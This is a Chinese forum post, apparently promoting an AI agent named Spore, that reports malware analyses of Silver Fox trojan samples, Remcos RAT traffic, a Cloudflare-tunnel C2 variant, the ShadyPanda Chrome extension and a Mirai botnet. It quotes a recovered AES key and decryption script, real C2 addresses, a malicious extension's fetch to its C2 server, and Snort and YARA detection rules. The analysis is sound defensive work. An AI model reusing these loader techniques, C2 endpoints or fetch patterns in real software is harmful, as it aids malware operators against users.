-
-
[分享][重发]我把样本扔给AI,然后呢?
-
发表于: 1天前 442
-
我把样本扔给AI,然后呢?
我做了个实验:把一个银狐木马的完整分析材料扔给Spore,看它能做到什么程度。
材料包括:
主样本libexpat.dll和它的IDA数据库(已经用REAI跑过函数识别)
加密配置文件box.ini
虚拟机跑出来的持久化记录
三组C2通信数据包
然后Spore开始干活。
Spore的第一反应:规划任务
收到指令后,Spore没有直接开始乱读文件,而是先列了个计划:
1 2 3 4 5 6 7 8 9 10 11 | 1. [pending] 查看样本目录结构(包括隐藏文件)2. [pending] 分析恶意软件配置文件 box.ini3. [pending] 分析持久化记录4. [pending] 使用 IDA Skill 分析主样本 libexpat.dll.i645. [pending] 分析通信内容6. [pending] 生成综合分析报告 |
然后执行dir /a /s查看目录结构,确认所有文件都在。

第一个坎:加密的box.ini
Spore读取box.ini,发现是乱码:
1 | ìÕ2·ä«ª¦h?乡ê¯IÅ}wD [..."Íu`2mº¾Vk$ï½ß... |
普通AI到这里就卡住了:"这个文件是加密的,我无法分析。"
Spore的做法:既然配置文件是加密的,那解密逻辑肯定在主样本里。去IDA数据库里找。
它调用IDA Skill,执行IDAPython脚本,列出所有REAI识别出的函数:
1 2 3 4 5 6 7 | 0x739c39b0 AI_VerifyAndDecryptConfigFile0x739c3fb0 AI_MalwareConfigLoader0x739c24d0 AI_MalwareSelfInstallAndPersistence... |
看到AI_VerifyAndDecryptConfigFile,Spore知道这就是解密函数。反编译它:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | int __stdcall AI_VerifyAndDecryptConfigFile(LPCWSTR lpFileName, int a2, int a3){ // ... 省略 ... v15[0] = 0xB7567254; // AES Key v15[1] = 0xFA7EC019; v15[2] = 0x9BDD604D; // ... v16[0] = 0xE0EF296D; // IV v16[1] = 0xAC5082E6; // ... CryptDecrypt(hKey, 0, 1, 0, pbData, &pdwDataLen);} |
从反编译代码里提取出AES-256-CBC的密钥和IV:
1 2 3 | Key: 547256b719c07efa4d60dd9b890029aaad26f25fdbbfc1c088d19a551341bc17IV: 6d29efe0e68250ac5a348af37a0e79bf |
Spore自己写解密脚本
提取到密钥后,Spore没有停下来问"接下来怎么办",而是直接写Python解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from Crypto.Cipher import AESimport struct# 从 IDA 提取的 AES 密钥 (小端序转换)key_dwords = [0xB7567254, 0xFA7EC019, 0x9BDD604D, 0xAA290089, 0x5FF226AD, 0xC0C1BFDB, 0x559AD188, 0x17BC4113]key = b''.join(struct.pack('<I', d) for d in key_dwords)iv_dwords = [0xE0EF296D, 0xAC5082E6, 0xF38A345A, 0xBF790E7A]iv = b''.join(struct.pack('<I', d) for d in iv_dwords)cipher = AES.new(key, AES.MODE_CBC, iv)decrypted = cipher.decrypt(encrypted_data) |
执行结果:
1 2 3 4 5 | 加密数据大小: 2416 字节解密成功,去除 padding 后大小: 2411 字节前64字节(hex): 558bec81ec800000005333db5657895dc4... |
55 8B EC——这是x86函数序言push ebp; mov ebp, esp。box.ini解密后是shellcode。
我追问了一句
看到报告里提到box.ini,我问:"box.ini是干嘛的?你搞清了吗"
Spore回答:
"从IDA分析结果来看,box.ini是加密的配置文件,由
AI_VerifyAndDecryptConfigFile函数解密后使用。解密后的内容有两种用途:
- 如果是有效的PE文件(检查MZ/PE签名),则通过
AI_MemoryPELoaderAndExecutor在内存中加载执行
- 如果不是PE但大于10字节,则作为shellcode直接分配可执行内存运行
所以box.ini实际上是加密存储的payload。我可以尝试用提取到的AES密钥解密它,看看里面具体是什么内容。需要我解密吗?"
我说:"做"
Spore就把解密后的shellcode扔进IDA分析,得出完整功能:
1 2 3 4 5 6 7 | sub_6B6: PEB遍历,查找kernel32.dll (哈希0x1CCA9CE6)sub_730: API哈希解析器 (算法: hash = (char + 131 * hash) & 0x7FFFFFFF)sub_0: 主函数 - 解析API、检测"codemark"字符串、建立C2连接sub_299: 网络通信函数 (TCP socket) |
box.ini解密后是初始化shellcode,负责建立C2通道,下载后续payload。
第二个坎:通信协议逆向
我又问:"后续通信的三段数据能否对上?三段数据能否进行进一步分析?"
Spore开始分析data目录下的通信数据包。
第一组通信:send.bin只有3字节32 00,recv.bin有307214字节。
Spore对比recv.bin和已解密的stage2_shellcode_decrypted.bin,发现:
1 2 3 4 5 6 7 8 9 10 11 | 加密: dfa432363663bddab5da2e6560bd470a61bf63c2bd72384eb3f6425bb54a384a解密: e992040000558bec83ec1853568b713c578955f48b440e7885c0746d837c0e7cXOR差异: 36363636363636363636363636363636...唯一差异值数量: 1可能的 XOR key: [54] # 0x36 |
通信数据用XOR 0x36加密。协议结构:
1 2 3 4 5 6 7 | +--------+----------+------+------------------+| 4字节 | 8字节 | 2字节| N字节 || 长度 | 会话ID | 命令 | XOR 0x36加密 |+--------+----------+------+------------------+ |
三组通信对应:
发送
32 00请求 -> 接收307KB的Stage2 PE加载器shellcode发送16字节初始化 -> 接收配置 -> 发送2643字节系统信息 -> 接收311KB第二个payload
发送5302字节详细系统信息(522条记录) -> 命令执行交互
最终报告
整个分析过程,Spore输出了一份完整的报告,包括:
反分析机制:
进程检测:sandboxie.exe、x64dbg.exe、VBoxTray.exe、VMwareUser.exe
调试器检测:IsDebuggerPresent()
虚拟机检测:MAC地址前缀00:50:56、00:1C:14、00:0C:29
硬件检测:内存<4GB或CPU核心<4则退出
持久化机制:
计划任务
\Batteries,伪装成"System Batteries"安装目录
%APPDATA%\trvePath\(隐藏+系统属性)执行路径
XLGame.exe /run
加密算法:
配置文件:AES-256-CBC
通信协议:XOR 0x36
C2地址:
116.31.102.57:80
116.31.102.56:80
128.85.113.135:443
121.29.13.56:80
攻击链:
1 2 3 | DLL侧加载 -> 环境检测 -> 自我安装 -> 持久化 ->配置解密 -> C2通信建立 -> Stage2下载 -> Payload执行 -> 远程控制 |

这个过程说明什么
Spore不是"一键出报告"。告诉它有什么材料、要做什么。Spore不只是一个安全方向的Agent,他什么都能做。
Spore会自己想办法。遇到加密文件,它去找解密函数;遇到未知协议,它尝试各种解密方式。
Spore需要你引导。我问"box.ini是干嘛的",它才深入分析;我问"通信数据能否对上",它才去逆向协议。
整个过程透明。每一步操作、每一次工具调用、每一个中间结果,你都能看到。
Spore会翻车吗?会
复杂混淆扛不住。VMProtect、Themida这类重度混淆,IDA看不懂的,Spore也看不懂。
不能替代动态分析。沙箱行为、内存dump,还是得靠传统工具。(后续接入IDA MCP可实现)
另一个案例:Remcos RAT流量分析
扔给Spore一个pcap文件,60个数据包。
Spore识别出:
C2通信:192.168.122.104 -> 93.127.160.198:2019(Remcos默认端口)
心跳间隔:28-30秒
协议头:
24 04 ff 00
从上线包提取系统信息:
1 2 3 4 5 6 7 8 9 | 恶意软件: EVANGELIST (Remcos RAT) 7.0.3 Pro受害主机: DESKTOP-RQ8184/Bruno操作系统: Windows 11 Enterprise (64位)进程注入: C:\Windows\SysWOW64\SndVol.exe日志文件: C:\ProgramData\remcos\logs.dat |
自动生成检测规则:
alert tcp $HOME_NET any -> $EXTERNAL_NET 2019 (msg:"ET TROJAN Remcos RAT Protocol Header Detected"; content:"|24 04 ff 00|"; depth:4; sid:2025120501;)

更多案例
银狐变种:Cloudflare Tunnel隐蔽C2
另一个银狐样本,这次用了不同的技术栈。
Spore从虚拟机持久化记录中发现:
恶意服务:
1 2 3 4 5 | 服务名: cloudflared路径: C:\ProgramData\Microsoft\System\System.exe命令: access tcp --hostname http://1b2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8S2L8h3g2A6i4K6u0W2j5%4W2G2N6b7`.`. --url tcp://127.0.0.1:443 |
攻击者伪装成Cloudflare官方隧道服务,实际是把C2流量藏在Cloudflare CDN后面。
恶意进程:
System.exe(PID 10696) - SYSTEM权限,主C2代理WindowsEvent.exe(PID 2512) - 用户权限,辅助模块
网络连接:
1 | 192.168.230.128:50203 -> 104.21.2.162:443 (Cloudflare CDN) |
真实C2藏在daaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8S2L8h3g2A6i4K6u0W2j5%4W2G2N6b7`.`.后面,通过Cloudflare Tunnel转发,传统IP黑名单完全失效。
ShadyPanda:400万浏览器感染的Chrome插件
这个案例不是传统恶意软件,而是Chrome插件。
SpeedMaster,一个"网速测试"插件,实际是ShadyPanda活动的一部分——7年感染了400万浏览器。
Spore分析插件目录结构,发现核心恶意文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | background/├── fuck.js # 恶意代码加载器(没错,就叫这名)├── safe_enrypt_wasm.js # WebAssembly加密模块├── t.json # 恶意配置└── bg.js # 网络监控def/├── efg.js # 动态脚本注入器├── load_ad.js # 广告注入器└── load_ad_frame.js # 广告iframe注入器 |
C2通信机制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // 每小时从C2下载配置const t = await fetch("6ccK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3M7%4m8W2k6h3c8Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`." + Date.now())// 配置格式{ "run_on": "content_scripts", "match": "\\.baidu.com$", "src": "5c4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4@1K9h3y4Q4x3X3g2U0k6r3&6H3M7X3!0V1i4K6u0W2j5$3!0E0i4K6u0r3K9Y4y4Q4x3V1k6T1j5h3W2V1N6g2)9J5k6h3A6K6"} |
根据配置,在匹配的网站注入恶意脚本。
广告欺诈链条:
1 2 3 4 5 6 7 8 9 10 11 12 13 | 伪装功能(speed-test.extfans.com) -> 获取信任 ↓监控所有请求 -> 收集浏览数据 ↓广告注入(the-news-desk.com) -> 点击欺诈 -> 非法收入 ↓C2通信(api.extensionplay.com) -> 动态更新 -> 长期驻留 |
Spore自动生成检测规则:
rule ShadyPanda_SpeedMaster {
strings:
$c2_domain = "api.extensionplay.com"
$malicious_func = "fuck.js"
$config_url = "speed_master/t.json"
condition:
any of them
}
Mirai变种:19个数据包识别僵尸网络
一个只有1661字节的pcap文件,19个数据包。
Spore分析出:
心跳模式:
固定20秒间隔(37.68s -> 57.68s -> 77.68s)
Payload大小一致
机械式规律性通信
协议指纹:
336699模式出现6次,协议标识符06756e6b6e6f77解码为"unknown",隐藏命令标识
可疑域名:
- DNS查询
netbots.africa
通信对:
- 192.168.122.100 -> 198.98.59.161:5432
自动生成Snort规则:
alert tcp $HOME_NET any -> $EXTERNAL_NET 5432 (msg:"Suspected Zenbox Linux Botnet Communication"; content:"|33 66 99|"; offset:0; depth:3; sid:300001;) alert udp $HOME_NET any -> any 53 (msg:"Suspected Botnet Domain Query - netbots.africa"; content:"netbots.africa"; sid:300002;)
19个数据包,识别出僵尸网络通信模式,生成可部署的检测规则。
安全方向哪些师傅适合用Spore
每天处理大量样本的安全运营团队
需要快速出报告的应急响应人员
想把重复劳动自动化的逆向工程师
对AI感兴趣但不信任黑盒的安全从业者
最后
项目地址:{418K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4y4@1b7`.
Windows一键安装,开箱即用。
银狐和Remcos的完整分析报告在example目录。银狐案例还有完整对话记录(.mem文件),可以在Spore里加载重放,看看整个分析过程是怎么进行的。
有问题:{miunasu@foxmail.com}
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!